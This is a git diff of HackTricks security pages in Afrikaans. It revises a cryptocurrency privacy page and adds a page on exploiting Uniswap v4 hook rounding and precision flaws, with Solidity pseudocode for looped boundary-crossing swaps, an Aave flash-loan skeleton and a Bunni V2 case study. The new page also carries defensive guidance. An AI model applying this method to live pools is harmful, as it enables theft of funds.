- **Volle node**: Deur die hele blockchain af te laai, verseker 'n volle node maksimum privaatheid. Alle transaksies wat ooit gemaak is, word plaaslik gestoor, wat dit onmoontlik maak vir teenstanders om te identifiseer watter transaksies of adresse die gebruiker belangstel in.
|
- **Full node**: Deur die hele blockchain af te laai verseker 'n full node maksimum privaatheid. Alle ooit uitgevoerde transaksies word plaaslik gestoor, wat dit onmoontlik maak vir teenstanders om te bepaal watter transaksies of adresse die gebruiker betref.
|
||||||
- **Kliënt-kant blokfiltering**: Hierdie metode behels die skep van filters vir elke blok in die blockchain, wat waldoors in staat stel om relevante transaksies te identifiseer sonder om spesifieke belangstellings aan netwerkwaarnemers bloot te stel. Liggewig waldoors laai hierdie filters af, en haal slegs volle blokke af wanneer 'n ooreenstemming met die gebruiker se adresse gevind word.
|
- **Client-side block filtering**: Hierdie metode behels die skep van filters vir elke blok in die blockchain, wat wallets in staat stel om relevante transaksies te identifiseer sonder om spesifieke belange aan netwerkwaarnemers bloot te stel. Liggewig-wallets laai hierdie filters af en haal slegs volle blokke op wanneer 'n ooreenkoms met die gebruiker se adresse gevind word.
|
||||||
|
|
||||||
## **Gebruik van Tor vir Anonimiteit**
|
## **Gebruik van Tor vir anonimiteit**
|
||||||
|
|
||||||
Aangesien Bitcoin op 'n peer-to-peer netwerk werk, word dit aanbeveel om Tor te gebruik om jou IP-adres te verberg, wat privaatheid verbeter wanneer jy met die netwerk interaksie het.
|
Aangesien Bitcoin op 'n peer-to-peer-netwerk werk, word dit aanbeveel om Tor te gebruik om jou IP-adres te versluier en sodoende privaatheid te verbeter wanneer jy met die netwerk interaksie het.
|
||||||
|
|
||||||
## **Voorkoming van Adres Hergebruik**
|
## **Voorkoming van adreshergebruik**
|
||||||
|
|
||||||
Om privaatheid te beskerm, is dit noodsaaklik om 'n nuwe adres vir elke transaksie te gebruik. Hergebruik van adresse kan privaatheid benadeel deur transaksies aan dieselfde entiteit te koppel. Moderne waldoors ontmoedig adres hergebruik deur hul ontwerp.
|
Om privaatheid te beskerm, is dit noodsaaklik om 'n nuwe adres vir elke transaksie te gebruik. Die hergebruik van adresse kan privaatheid kompromitteer deur transaksies aan dieselfde entiteit te koppel. Moderne wallets ontmoedig adreshergebruik deur hul ontwerp.
|
||||||
|
|
||||||
## **Strategieë vir Transaksie Privaatheid**
|
## **Strategieë vir transaksieprivaatheid**
|
||||||
|
|
||||||
- **Meervoudige transaksies**: Om 'n betaling in verskeie transaksies te verdeel kan die transaksiebedrag verdoesel, wat privaatheid aanvalle verhoed.
|
- **Multiple transactions**: Deur 'n betaling in verskeie transaksies te verdeel kan die transaksiebedrag verberg en privaatheidsaanvalle dwarsboom.
|
||||||
- **Verandering vermyding**: Om transaksies te kies wat nie verandering-uitsette vereis nie, verbeter privaatheid deur verandering detectiemetodes te ontwrig.
|
- **Change avoidance**: Deur te kies vir transaksies wat geen change-uitsette vereis, verbeter privaatheid deur change-detektiemetodes te ontwrig.
|
||||||
- **Meervoudige verandering-uitsette**: As dit nie moontlik is om verandering te vermy nie, kan die generering van meervoudige verandering-uitsette steeds privaatheid verbeter.
|
- **Multiple change outputs**: As die vermyding van change nie haalbaar is nie, kan die genereer van meervoudige change-uitsette steeds privaatheid verbeter.
|
||||||
|
|
||||||
# **Monero: 'n Baken van Anonimiteit**
|
# **Monero: 'n Baken van anonimiteit**
|
||||||
|
|
||||||
Monero adressering die behoefte aan absolute anonimiteit in digitale transaksies, wat 'n hoë standaard vir privaatheid stel.
|
Monero spreek die behoefte aan absolute anonimiteit in digitale transaksies aan en stel 'n hoë standaard vir privaatheid.
|
||||||
|
|
||||||
# **Ethereum: Gas en Transaksies**
|
# **Ethereum: Gas en transaksies**
|
||||||
|
|
||||||
## **Begrip van Gas**
|
## **Gas verstaan**
|
||||||
|
|
||||||
Gas meet die rekenkundige inspanning wat nodig is om operasies op Ethereum uit te voer, geprys in **gwei**. Byvoorbeeld, 'n transaksie wat 2,310,000 gwei (of 0.00231 ETH) kos, behels 'n gaslimiet en 'n basisfooi, met 'n fooi om mynwerkers te motiveer. Gebruikers kan 'n maksimum fooi stel om te verseker dat hulle nie oorbetaal nie, met die oorskot wat terugbetaal word.
|
Gas meet die rekenkundige moeite benodig om operasies op Ethereum uit te voer, en word geprys in **gwei**. Byvoorbeeld, 'n transaksie wat 2,310,000 gwei (of 0.00231 ETH) kos, het 'n gaslimiet en 'n basisfooi, plus 'n tip om myners te stimuleer. Gebruikers kan 'n maksimumfooi stel om te verseker dat hulle nie te veel betaal nie; die oorskot word terugbetaal.
|
||||||
|
|
||||||
## **Uitvoering van Transaksies**
|
## **Uitvoering van transaksies**
|
||||||
|
|
||||||
Transaksies in Ethereum behels 'n sender en 'n ontvanger, wat óf gebruiker of slimkontrak adresse kan wees. Hulle vereis 'n fooi en moet gemyn word. Essensiële inligting in 'n transaksie sluit die ontvanger, sender se handtekening, waarde, opsionele data, gaslimiet, en fooie in. Opmerklik is dat die sender se adres afgelei word van die handtekening, wat die behoefte daaraan in die transaksiedata uitskakel.
|
Transaksies op Ethereum betrek 'n sender en 'n ontvanger, wat óf gebruikers- óf smart contract-adresse kan wees. Hulle vereis 'n fooi en moet gemyn word. Wesentlike inligting in 'n transaksie sluit die ontvanger, sender se handtekening, waarde, opsionele data, gaslimiet en fooie in. Belangrik: die sender se adres word uit die handtekening afgelei, wat die noodsaaklikheid om dit in die transaksiedata op te neem uitskakel.
|
||||||
|
|
||||||
Hierdie praktyke en meganismes is fundamenteel vir enigiemand wat wil betrokke raak by kriptogeldeenhede terwyl hulle privaatheid en sekuriteit prioritiseer.
|
Hierdie praktyke en meganismes vorm die fondament vir enigiemand wat met kripto-geldeenhede wil omgaan en privaatheid en sekuriteit prioriseer.
|
||||||
|
|
||||||
## Verwysings
|
## Verwysings
|
||||||
|
|
||||||
@ -179,4 +181,12 @@ Hierdie praktyke en meganismes is fundamenteel vir enigiemand wat wil betrokke r
|
|||||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
||||||
|
|
||||||
|
## DeFi/AMM Eksploitasie
|
||||||
|
|
||||||
|
As jy navorsing doen oor praktiese eksploitasie van DEXes en AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), kyk:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
defi-amm-hook-precision.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -0,0 +1,160 @@
|
|||||||
|
# DeFi/AMM Uitbuiting: Uniswap v4 Hook Presisie/Afrondingsmisbruik
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
Hierdie bladsy dokumenteer ’n klas DeFi/AMM‑uitbuitingstegnieke teen Uniswap v4‑styl DEXes wat kern‑wiskunde uitbrei met custom hooks. ’n Onlangse voorval in Bunni V2 het ’n afronding/presisie fout in ’n Liquidity Distribution Function (LDF) benut wat by elke swap uitgevoer is, wat die aanvaller in staat gestel het om positiewe krediete aan te bou en likiditeit te dreineer.
|
||||||
|
|
||||||
|
Sleutelidee: as ’n hook addisionele rekeningkunde implementeer wat afhanklik is van fixed‑point math, tick rounding, en drempel‑logika, kan ’n aanvaller exact‑input swaps saamstel wat spesifieke drempels kruis sodat afrondingsverskille in hul guns ophoop. Deur die patroon te herhaal en dan die opgeblase balans terug te trek, word wins gerealiseer — dikwels gefinansier met ’n flash loan.
|
||||||
|
|
||||||
|
## Achtergrond: Uniswap v4 hooks en swap flow
|
||||||
|
|
||||||
|
- Hooks is kontrakte wat die PoolManager op spesifieke lewensikluspunte aanroep (bv. beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity).
|
||||||
|
- Pools word geïnitialiseer met ’n PoolKey wat die hooks address insluit. As dit nie‑nul is, voer PoolManager callbacks uit by elke relevante operasie.
|
||||||
|
- Core math gebruik fixed‑point formats soos Q64.96 vir sqrtPriceX96 en tick arithmetic met 1.0001^tick. Enige custom math wat daarbo geplaas word, moet die afrondingssemantiek noukeurig pas om invariant drift te vermy.
|
||||||
|
- Swaps kan exactInput of exactOutput wees. In v3/v4 beweeg die prys oor ticks; die oorskryding van ’n tick‑grens kan range liquidity aktiveer/deaktiveer. Hooks kan addisionele logika implementeer op threshold/tick crossings.
|
||||||
|
|
||||||
|
## Vulnerability archetype: threshold‑crossing precision/rounding drift
|
||||||
|
|
||||||
|
’n Tipiese kwesbare patroon in custom hooks:
|
||||||
|
|
||||||
|
1. Die hook bereken per‑swap liquidity of balansdelta’s met integer division, mulDiv, of fixed‑point conversions (bv. token ↔ liquidity gebruikende sqrtPrice en tick ranges).
|
||||||
|
2. Threshold‑logika (bv. rebalancing, stepwise redistribution, of per‑range activation) word geaktiveer wanneer ’n swap‑grootte of prysbeweging ’n interne grens kruis.
|
||||||
|
3. Afronding word onsystematies toegepas (bv. truncation toward zero, floor versus ceil) tussen die vooruitberekening en die settlement‑pad. Klein verskille kanselleer nie en krediteer eerder die caller.
|
||||||
|
4. Exact‑input swaps, presies gemeet om daardie grense te oorbrug, oes herhaaldelik die positiewe afrondingsreste. Die aanvaller onttrek later die opgehoopte krediet.
|
||||||
|
|
||||||
|
Aanvals‑voorwaardes
|
||||||
|
- ’n Pool wat ’n custom v4 hook gebruik wat by elke swap addisionele wiskunde uitvoer (bv. ’n LDF/rebalancer).
|
||||||
|
- Ten minste een uitvoeringspad waar afronding die swap initiator bevoordeel oor drempel‑oorskrywings.
|
||||||
|
- Vermoë om baie swaps atomies te herhaal (flash loans is ideaal om tydelike float te verskaf en gas te amortiseer).
|
||||||
|
|
||||||
|
## Praktiese aanvals‑metodologie
|
||||||
|
|
||||||
|
1) Identifiseer kandidaatpools met hooks
|
||||||
|
- Enumereer v4 pools en kontroleer PoolKey.hooks != address(0).
|
||||||
|
- Inspekteer hook bytecode/ABI vir callbacks: beforeSwap/afterSwap en enige custom rebalancing metodes.
|
||||||
|
- Soek na wiskunde wat: deel deur liquidity, omskakel tussen token amounts en liquidity, of BalanceDelta aggregasie met afronding uitvoer.
|
||||||
|
|
||||||
|
2) Modelleer die hook se wiskunde en drempels
|
||||||
|
- Herbou die hook se liquidity/redistribution formule: inpute sluit gewoonlik sqrtPriceX96, tickLower/Upper, currentTick, fee tier, en net liquidity in.
|
||||||
|
- Kaart threshold/step funksies: ticks, bucket boundaries, of LDF breakpoints. Bepaal aan watter kant van elke grens die delta afgerond word.
|
||||||
|
- Identifiseer waar omskakelings tussen uint256/int256 plaasvind, SafeCast gebruik word, of mulDiv met implisiete floor staatmaak.
|
||||||
|
|
||||||
|
3) Kalibreer exact‑input swaps om grense te kruis
|
||||||
|
- Gebruik Foundry/Hardhat simulatsies om die minimale Δin te bereken wat nodig is om die prys net oor ’n grens te skuif en die hook‑branch te trigger.
|
||||||
|
- Verifieer dat afterSwap settlement die caller meer krediteer as die koste, wat ’n positiewe BalanceDelta of krediet in die hook‑rekeninglaat agterlaat.
|
||||||
|
- Herhaal swaps om krediet op te bou; roep dan die hook se withdrawal/settlement‑pad aan.
|
||||||
|
|
||||||
|
Example Foundry‑style test harness (pseudocode)
|
||||||
|
```solidity
|
||||||
|
function test_precision_rounding_abuse() public {
|
||||||
|
// 1) Arrange: set up pool with hook
|
||||||
|
PoolKey memory key = PoolKey({
|
||||||
|
currency0: USDC,
|
||||||
|
currency1: USDT,
|
||||||
|
fee: 500, // 0.05%
|
||||||
|
tickSpacing: 10,
|
||||||
|
hooks: address(bunniHook)
|
||||||
|
});
|
||||||
|
pm.initialize(key, initialSqrtPriceX96);
|
||||||
|
|
||||||
|
// 2) Determine a boundary‑crossing exactInput
|
||||||
|
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
|
||||||
|
|
||||||
|
// 3) Loop swaps to accrue rounding credit
|
||||||
|
for (uint i; i < N; ++i) {
|
||||||
|
pm.swap(
|
||||||
|
key,
|
||||||
|
IPoolManager.SwapParams({
|
||||||
|
zeroForOne: true,
|
||||||
|
amountSpecified: int256(exactIn), // exactInput
|
||||||
|
sqrtPriceLimitX96: 0 // allow tick crossing
|
||||||
|
}),
|
||||||
|
""
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4) Realize inflated credit via hook‑exposed withdrawal
|
||||||
|
bunniHook.withdrawCredits(msg.sender);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Kalibrering van die exactInput
|
||||||
|
- Bereken ΔsqrtP vir 'n tick-stap: sqrtP_next = sqrtP_current × 1.0001^(Δtick).
|
||||||
|
- Benader Δin met behulp van v3/v4-formules: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Sorg dat die afrondingsrigting ooreenstem met die kernwiskunde.
|
||||||
|
- Pas Δin met ±1 wei rondom die grens aan om die tak te vind waar die hook in jou guns afrond.
|
||||||
|
|
||||||
|
4) Vergroot met flash loans
|
||||||
|
- Leen 'n groot notionele bedrag (bv. 3M USDT of 2000 WETH) om baie iterasies atomies uit te voer.
|
||||||
|
- Voer die gekalibreerde swap-lus uit, onttrek en betaal dan terug binne die flash loan callback.
|
||||||
|
|
||||||
|
Aave V3 flash loan skeleton
|
||||||
|
```solidity
|
||||||
|
function executeOperation(
|
||||||
|
address[] calldata assets,
|
||||||
|
uint256[] calldata amounts,
|
||||||
|
uint256[] calldata premiums,
|
||||||
|
address initiator,
|
||||||
|
bytes calldata params
|
||||||
|
) external returns (bool) {
|
||||||
|
// run threshold‑crossing swap loop here
|
||||||
|
for (uint i; i < N; ++i) {
|
||||||
|
_exactInBoundaryCrossingSwap();
|
||||||
|
}
|
||||||
|
// realize credits / withdraw inflated balances
|
||||||
|
bunniHook.withdrawCredits(address(this));
|
||||||
|
// repay
|
||||||
|
for (uint j; j < assets.length; ++j) {
|
||||||
|
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
5) Uitstap en oorketting‑replikasie
|
||||||
|
- As hooks op verskeie kettings ontplooi is, herhaal dieselfde kalibrasie per ketting.
|
||||||
|
- Brug stuur opbrengste terug na die teikenketting en kan opsioneel via leningsprotokolle kringloop om vloei te verwring.
|
||||||
|
|
||||||
|
## Algemene oorsake in hook‑wiskunde
|
||||||
|
|
||||||
|
- Gemengde afrondingssemantiek: mulDiv voer floor uit terwyl later paaie effektief na bo afrond; of omskakelings tussen token/liquidity pas verskillende afronding toe.
|
||||||
|
- Tick‑uitlijningsfoute: gebruik van onafgeronde ticks in een pad en tick‑spas‑afronding in 'n ander.
|
||||||
|
- BalanceDelta teken/overflow‑kwessies wanneer omgeskakel word tussen int256 en uint256 tydens settlement.
|
||||||
|
- Presisieverlies in Q64.96 omskakelings (sqrtPriceX96) nie gespiegeld in die omgekeerde mapping nie.
|
||||||
|
- Akkumulatie‑paaie: per‑swap watreste wat as krediete gevolg word en deur die caller onttrekbaar is in plaas daarvan om verbrand/zero‑sum te wees.
|
||||||
|
|
||||||
|
## Verdedigende riglyne
|
||||||
|
|
||||||
|
- Differensiële toetsing: spieël die hook se wiskunde teen 'n verwysingsimplementering met hoë‑presisie rasionele rekenkunde en stel gelykheid of 'n begrensde fout wat altyd adversarieel is (nooit in die caller se guns nie).
|
||||||
|
- Invariant/eienskapstoetse:
|
||||||
|
- Som van deltas (tokens, liquidity) oor swap‑paaie en hook‑aanpassings moet waarde conserveer modulo fooie.
|
||||||
|
- Geen pad mag 'n positiewe netto krediet vir die swap‑initiatior skep oor herhaalde exactInput‑iterasies nie.
|
||||||
|
- Drempel/tick‑grens toetse rondom ±1 wei insette vir beide exactInput/exactOutput.
|
||||||
|
- Afrondingsbeleid: sentraliseer afrondingshelpers wat altyd teen die gebruiker afrond; verwyder inkonsekwente casts en implisiete floors.
|
||||||
|
- Settlement sinks: akkumuleer onvermydelike afrondingsresidu na die protokol‑kassie of verbrand dit; ken dit nooit toe aan msg.sender nie.
|
||||||
|
- Rate‑limits/guardrails: minimum swap‑groottes vir rebalanserings‑triggers; deaktiveer rebalanses as deltas sub‑wei is; sanity‑check deltas teen verwagte reekse.
|
||||||
|
- Hersien hook callbacks holisties: beforeSwap/afterSwap en before/after liquidity‑veranderings moet saamstem oor tick‑uitlijning en delta‑afronding.
|
||||||
|
|
||||||
|
## Gevallestudie: Bunni V2 (2025‑09‑02)
|
||||||
|
|
||||||
|
- Protokol: Bunni V2 (Uniswap v4 hook) met 'n LDF toegepas per swap om te rebalanseer.
|
||||||
|
- Oorsaak: afrondings/presisie‑fout in LDF liquiditeitsrekeninghouding tydens drempel‑oorsteek swaps; per‑swap ongelykhede het opgeloop as positiewe krediete vir die caller.
|
||||||
|
- Ethereum poot: aanvaller het 'n ~3M USDT flash loan geneem, gekalibreerde exact‑input swaps op USDC/USDT uitgevoer om krediete op te bou, opgehewe opgeblase balances, terugbetaal, en fondse via Aave gerouteer.
|
||||||
|
- UniChain poot: het die exploit herhaal met 'n 2000 WETH flash loan, ongeveer 1366 WETH afgesyfer en na Ethereum gebridged.
|
||||||
|
- Impak: ~USD 8.3M leeggemaak oor kettings. Geen gebruikersinteraksie benodig; heeltemal on‑chain.
|
||||||
|
|
||||||
|
## Opsporingskontrolelys
|
||||||
|
|
||||||
|
- Gebruik die pool 'n nie‑nul hooks‑adres? Watter callbacks is geaktiveer?
|
||||||
|
- Is daar per‑swap herverdelings/rebalanses wat aangepaste wiskunde gebruik? Enige tick/drempel logika?
|
||||||
|
- Waar word divisions/mulDiv, Q64.96 omskakelings, of SafeCast gebruik? Is afrondingssemantiek globaal konsekwent?
|
||||||
|
- Kan jy Δin konstrueer wat skaars 'n grens oorsteek en 'n gunstige afrondings‑tak lewer? Toets beide rigtings en beide exactInput en exactOutput.
|
||||||
|
- Hou die hook per‑caller krediete of deltas by wat later onttrek kan word? Verseker dat residu geneutraliseer word.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
|
||||||
|
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
|
||||||
|
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
|
||||||
|
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
|
||||||
|
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
|
||||||
|
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,182 +0,0 @@
|
|||||||
{{#include ../banners/hacktricks-training.md}}
|
|
||||||
|
|
||||||
## Basiese Konsepte
|
|
||||||
|
|
||||||
- **Slimme Kontrakte** word gedefinieer as programme wat op 'n blockchain uitvoer wanneer sekere voorwaardes nagekom word, wat die uitvoering van ooreenkomste outomatiseer sonder intermediêre.
|
|
||||||
- **Gedecentraliseerde Toepassings (dApps)** bou voort op slim kontrakte, met 'n gebruikersvriendelike front-end en 'n deursigtige, auditeerbare back-end.
|
|
||||||
- **Tokens & Munte** onderskei waar munte as digitale geld dien, terwyl tokens waarde of eienaarskap in spesifieke kontekste verteenwoordig.
|
|
||||||
- **Nut Tokens** bied toegang tot dienste, en **Sekuriteit Tokens** dui eienaarskap van bates aan.
|
|
||||||
- **DeFi** staan vir Gedecentraliseerde Finansies, wat finansiële dienste bied sonder sentrale owerhede.
|
|
||||||
- **DEX** en **DAOs** verwys na Gedecentraliseerde Uitruil Platforms en Gedecentraliseerde Outonome Organisasies, onderskeidelik.
|
|
||||||
|
|
||||||
## Konsensusmeganismes
|
|
||||||
|
|
||||||
Konsensusmeganismes verseker veilige en ooreengekome transaksie-validasies op die blockchain:
|
|
||||||
|
|
||||||
- **Bewys van Werk (PoW)** staat op rekenaarkrag vir transaksie-verifikasie.
|
|
||||||
- **Bewys van Belang (PoS)** vereis dat validators 'n sekere hoeveelheid tokens hou, wat energieverbruik in vergelyking met PoW verminder.
|
|
||||||
|
|
||||||
## Bitcoin Essensiële
|
|
||||||
|
|
||||||
### Transaksies
|
|
||||||
|
|
||||||
Bitcoin-transaksies behels die oordrag van fondse tussen adresse. Transaksies word geverifieer deur digitale handtekeninge, wat verseker dat slegs die eienaar van die private sleutel oordragte kan begin.
|
|
||||||
|
|
||||||
#### Sleutelfaktore:
|
|
||||||
|
|
||||||
- **Multihandtekening Transaksies** vereis verskeie handtekeninge om 'n transaksie te magtig.
|
|
||||||
- Transaksies bestaan uit **insette** (bron van fondse), **uitsette** (bestemming), **fooie** (betaal aan mynwerkers), en **scripts** (transaksie reëls).
|
|
||||||
|
|
||||||
### Lightning Netwerk
|
|
||||||
|
|
||||||
Streef daarna om Bitcoin se skaalbaarheid te verbeter deur verskeie transaksies binne 'n kanaal toe te laat, en slegs die finale toestand na die blockchain te stuur.
|
|
||||||
|
|
||||||
## Bitcoin Privaatheidkwessies
|
|
||||||
|
|
||||||
Privaatheidaanvalle, soos **Algemene Inset Eienaarskap** en **UTXO Veranderadres Opsporing**, benut transaksiepatrone. Strategieë soos **Mixers** en **CoinJoin** verbeter anonimiteit deur transaksieverbindinge tussen gebruikers te verdoesel.
|
|
||||||
|
|
||||||
## Verkryging van Bitcoins Anoniem
|
|
||||||
|
|
||||||
Metodes sluit kontanthandel, mynwerk, en die gebruik van mixers in. **CoinJoin** meng verskeie transaksies om die opspoorbaarheid te kompliseer, terwyl **PayJoin** CoinJoins as gewone transaksies verdoesel vir verhoogde privaatheid.
|
|
||||||
|
|
||||||
# Bitcoin Privaatheid Aanvalle
|
|
||||||
|
|
||||||
# Samevatting van Bitcoin Privaatheid Aanvalle
|
|
||||||
|
|
||||||
In die wêreld van Bitcoin is die privaatheid van transaksies en die anonimiteit van gebruikers dikwels onderwerpe van kommer. Hier is 'n vereenvoudigde oorsig van verskeie algemene metodes waardeur aanvallers Bitcoin privaatheid kan kompromitteer.
|
|
||||||
|
|
||||||
## **Algemene Inset Eienaarskap Aannames**
|
|
||||||
|
|
||||||
Dit is oor die algemeen selde dat insette van verskillende gebruikers in 'n enkele transaksie gekombineer word weens die kompleksiteit wat betrokke is. Dus, **twee inset adresse in dieselfde transaksie word dikwels veronderstel om aan dieselfde eienaar te behoort**.
|
|
||||||
|
|
||||||
## **UTXO Veranderadres Opsporing**
|
|
||||||
|
|
||||||
'n UTXO, of **Onbestedigde Transaksie Uitset**, moet heeltemal in 'n transaksie bestee word. As slegs 'n deel daarvan na 'n ander adres gestuur word, gaan die oorblywende na 'n nuwe veranderadres. Waarnemers kan aanneem dat hierdie nuwe adres aan die sender behoort, wat privaatheid kompromitteer.
|
|
||||||
|
|
||||||
### Voorbeeld
|
|
||||||
|
|
||||||
Om dit te verminder, kan mengdienste of die gebruik van verskeie adresse help om eienaarskap te verdoesel.
|
|
||||||
|
|
||||||
## **Sosiale Netwerke & Forums Blootstelling**
|
|
||||||
|
|
||||||
Gebruikers deel soms hul Bitcoin adresse aanlyn, wat dit **maklik maak om die adres aan sy eienaar te koppel**.
|
|
||||||
|
|
||||||
## **Transaksie Grafiek Analise**
|
|
||||||
|
|
||||||
Transaksies kan as grafieke gevisualiseer word, wat potensiële verbindings tussen gebruikers onthul op grond van die vloei van fondse.
|
|
||||||
|
|
||||||
## **Onnodige Inset Heuristiek (Optimale Verander Heuristiek)**
|
|
||||||
|
|
||||||
Hierdie heuristiek is gebaseer op die analise van transaksies met verskeie insette en uitsette om te raai watter uitset die verandering is wat na die sender terugkeer.
|
|
||||||
|
|
||||||
### Voorbeeld
|
|
||||||
```bash
|
|
||||||
2 btc --> 4 btc
|
|
||||||
3 btc 1 btc
|
|
||||||
```
|
|
||||||
As jy meer invoer byvoeg wat die verandering uitvoer groter maak as enige enkele invoer, kan dit die heuristiek verwarrend maak.
|
|
||||||
|
|
||||||
## **Gedwonge Adres Hergebruik**
|
|
||||||
|
|
||||||
Aanvallers mag klein bedrae na voorheen gebruikte adresse stuur, in die hoop dat die ontvanger dit saam met ander invoer in toekomstige transaksies kombineer, en sodoende adresse aan mekaar koppel.
|
|
||||||
|
|
||||||
### Korrek Wallet Gedrag
|
|
||||||
|
|
||||||
Wallets moet vermy om munte wat op reeds gebruikte, leë adresse ontvang is, te gebruik om hierdie privaatheidslek te voorkom.
|
|
||||||
|
|
||||||
## **Ander Blockchain Analise Tegnieke**
|
|
||||||
|
|
||||||
- **Presiese Betalingsbedrae:** Transaksies sonder verandering is waarskynlik tussen twee adresse wat aan dieselfde gebruiker behoort.
|
|
||||||
- **Ronde Getalle:** 'n Ronde getal in 'n transaksie dui aan dat dit 'n betaling is, met die nie-rond uitvoer wat waarskynlik die verandering is.
|
|
||||||
- **Wallet Vingerafdruk:** Verskillende wallets het unieke transaksie skeppingspatrone, wat ontleders in staat stel om die sagteware wat gebruik is te identifiseer en moontlik die verandering adres.
|
|
||||||
- **Bedrag & Tydsverhoudings:** Die bekendmaking van transaksietye of -bedrae kan transaksies opspoorbaar maak.
|
|
||||||
|
|
||||||
## **Verkeersanalise**
|
|
||||||
|
|
||||||
Deur netwerkverkeer te monitor, kan aanvallers potensieel transaksies of blokke aan IP adresse koppel, wat gebruikers se privaatheid in gevaar stel. Dit is veral waar as 'n entiteit baie Bitcoin nodes bedryf, wat hul vermoë om transaksies te monitor verbeter.
|
|
||||||
|
|
||||||
## Meer
|
|
||||||
|
|
||||||
Vir 'n omvattende lys van privaatheid aanvalle en verdediging, besoek [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
|
||||||
|
|
||||||
# Anonieme Bitcoin Transaksies
|
|
||||||
|
|
||||||
## Manier om Bitcoins Anoniem te Verkry
|
|
||||||
|
|
||||||
- **Kontant Transaksies**: Verkryging van bitcoin deur kontant.
|
|
||||||
- **Kontant Alternatiewe**: Aankoop van geskenkbewyse en dit aanlyn ruil vir bitcoin.
|
|
||||||
- **Myn**: Die mees private metode om bitcoins te verdien is deur mynbou, veral wanneer dit alleen gedoen word omdat mynboupoele die mynwerker se IP adres mag ken. [Mynpoele Inligting](https://en.bitcoin.it/wiki/Pooled_mining)
|
|
||||||
- **Diefstal**: Teoreties kan diefstal van bitcoin 'n ander metode wees om dit anoniem te verkry, alhoewel dit onwettig is en nie aanbeveel word nie.
|
|
||||||
|
|
||||||
## Mengdienste
|
|
||||||
|
|
||||||
Deur 'n mengdiens te gebruik, kan 'n gebruiker **bitcoins stuur** en **verskillende bitcoins in ruil ontvang**, wat dit moeilik maak om die oorspronklike eienaar te spoor. Tog vereis dit vertroue in die diens om nie logs te hou nie en om werklik die bitcoins terug te stuur. Alternatiewe mengopsies sluit Bitcoin-kasino's in.
|
|
||||||
|
|
||||||
## CoinJoin
|
|
||||||
|
|
||||||
**CoinJoin** kombineer verskeie transaksies van verskillende gebruikers in een, wat die proses vir enigiemand wat probeer om invoer met uitvoer te pas, kompliseer. Ten spyte van sy doeltreffendheid, kan transaksies met unieke invoer- en uitvoergroottes steeds potensieel opgespoor word.
|
|
||||||
|
|
||||||
Voorbeeldtransaksies wat moontlik CoinJoin gebruik het, sluit `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` en `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` in.
|
|
||||||
|
|
||||||
Vir meer inligting, besoek [CoinJoin](https://coinjoin.io/en). Vir 'n soortgelyke diens op Ethereum, kyk na [Tornado Cash](https://tornado.cash), wat transaksies met fondse van mynwerkers anoniem maak.
|
|
||||||
|
|
||||||
## PayJoin
|
|
||||||
|
|
||||||
'n Variant van CoinJoin, **PayJoin** (of P2EP), verberg die transaksie tussen twee partye (bv. 'n klant en 'n handelaar) as 'n gewone transaksie, sonder die kenmerkende gelyke uitvoer wat tipies van CoinJoin is. Dit maak dit uiters moeilik om te ontdek en kan die algemene-invoer-eienaarskap heuristiek wat deur transaksie-toesighoudende entiteite gebruik word, ongeldig maak.
|
|
||||||
```plaintext
|
|
||||||
2 btc --> 3 btc
|
|
||||||
5 btc 4 btc
|
|
||||||
```
|
|
||||||
Transaksies soos die bogenoemde kan PayJoin wees, wat privaatheid verbeter terwyl dit ononderskeibaar bly van standaard bitcoin transaksies.
|
|
||||||
|
|
||||||
**Die gebruik van PayJoin kan tradisionele toesigmetodes beduidend ontwrig**, wat dit 'n belowende ontwikkeling maak in die strewe na transaksie privaatheid.
|
|
||||||
|
|
||||||
# Beste Praktyke vir Privaatheid in Kriptogeldeenhede
|
|
||||||
|
|
||||||
## **Wallet Sinchronisasie Tegnieke**
|
|
||||||
|
|
||||||
Om privaatheid en sekuriteit te handhaaf, is dit noodsaaklik om wallets met die blockchain te sinchroniseer. Twee metodes val op:
|
|
||||||
|
|
||||||
